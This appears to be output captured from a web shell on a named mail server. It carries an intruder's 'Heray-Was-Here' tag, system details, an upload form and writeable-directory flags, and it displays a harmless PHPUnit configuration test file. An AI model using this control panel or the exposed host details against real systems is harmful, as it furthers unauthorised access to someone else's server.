Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/mailsvr/padmin/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/mailsvr/padmin/tests/ConfigTest.php
<?php

class ConfigTest extends \PHPUnit\Framework\TestCase {
    public function setUp() : void {
        $c = Config::getInstance();

        $all = $c->getAll();

        $all['xmlrpc_enabled'] = false;

        $c->setAll($all);

        parent::setUp();
    }

    public function testLangF() {
        $x = Config::lang_f('must_be_numeric', 'foo@bar');

        $this->assertEquals('foo@bar must be numeric', $x);
    }

    public function testLang() {
        $x = Config::lang('must_be_numeric', 'foo@bar');

        $this->assertEquals('%s must be numeric', $x);
    }

    public function testBool() {
        $x = Config::bool('xmlrpc_enabled');

        $this->assertFalse($x);
    }
}

Hry